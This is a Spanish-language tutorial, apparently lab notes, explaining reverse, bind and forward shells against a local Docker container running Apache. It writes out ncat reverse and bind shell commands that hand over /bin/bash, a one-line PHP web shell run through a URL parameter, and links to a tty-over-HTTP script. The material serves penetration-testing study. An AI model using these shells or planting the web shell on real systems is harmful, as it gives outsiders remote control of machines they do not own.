🐚 Reverse Shell, Bind Shell y Forward Shell

🎯 ¿Qué es una Reverse Shell?

Cuando descubres una vulnerabilidad y puedes inyectar código 🧨, puedes usar una reverse shell para que la máquina víctima se conecte de vuelta a tu máquina atacante, dándote acceso remoto. Es muy común en entornos con firewalls restrictivos.

👨‍💻 El atacante escucha en su máquina →
💥 La víctima ejecuta código y se conecta al atacante.

🧪 Laboratorio: Reverse Shell con Docker

📄 Crear Dockerfile

Crearemos un laboratiio con docker
creamos un fichero Dockerfile

FROM ubuntu:latest

ENV DEBIAN_FRONTEND=noninteractive

RUN apt update && apt install -y apache2

EXPOSE 80

ENTRYPOINT service apache2 start && /bin/bash

⚙️ Construcción y ejecución

docker build -t my_image .
docker run -dit -p 80:80 --name myContainer my_image
docker exec -it myContainer bash

En la máquina víctima (contenedor):

apt install ncat
ncat <IP_ATACANTE> <PUERTO> -e /bin/bash

En el atacante:

nc -nlvp <Puerto>
nc -nlvp 6969
# nc: Netcat
# -n: No DNS
# -l: Escuchar
# -v: Modo verbose
# -p 6969: Puerto donde escucha

Pasted image 20250713192310.png


BIND SHELL

Con una Bind Shell, la víctima se queda escuchando en un puerto, y el atacante se conecta a ese puerto. Es útil cuando la víctima puede aceptar conexiones desde fuera.

En la víctima:

ncat -nlvp 6969 -e /bin/bash

En el atacante

nc 172.17.0.2 6969

Pasted image 20250713192719.png

Forward Shells

Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse ni Bind Shell debido a reglas de firewall. En estos entornos restringidos, suele estar permitido únicamente el tráfico HTTP/HTTPS.

Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe). Este actúa como una consola simulada, donde el atacante puede redirigir comandos y respuestas sin una conexión directa, utilizando tráfico HTTP permitido.

🔧 Práctica paso a paso

  1. Habilitamos restricciones de red en el contenedor:
apt install iptables

Si os sale este error tenemos que hacer esto
Pasted image 20250713193135.png

docker stop myContainer 
docker rm $(docker ps -a -q)
docker run -dit -p 80:80 --cap-add=NET_ADMIN --name myContainer my_image
docker exec -it myContainer bash
apt install iptables ncat nano net-tools php

Permite solo tráfico saliente por el puerto 80 (HTTP)

iptables -A OUTPUT -p tcp -m tcp -o eth0 --sport 80 -j ACCEPT

Bloquea todo el resto del tráfico de salida

iptables -A OUTPUT -o eth0 -j DROP

Crear archivo vulnerable en nano /var/www/html/

<pre>
<?php echo shell_exec($_GET['cmd']); ?>
</pre>

Si no reconoce php

nano /etc/php/8.3/apache2/php.ini
# Cambiar: short_open_tag = On

Y reiniciar:

service apache2 restart

Accediendo:
http://localhost/cmd.php?cmd=whoami

Pasted image 20250713195142.png
❌ Si intentáramos lanzar una reverse shell directamente, no funcionaría por las reglas de iptables:
http://localhost/cmd.php?cmd=ncat%20-nlvp%206969%20-e%20/bin/bash

🙌 ¡Gracias al tito s4vitar!
📎 https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py

🛠️ Modificamos el script, le ponemos la ruta de nuestro cmd.php vulnerable, y lo ejecutamos para tener una shell interactiva:
Pasted image 20250713201439.png

🌐 Página útil para generar Reverse Shells

🔗 ReverseShells.com – Generador online con soporte para múltiples lenguajes y configuraciones 🎯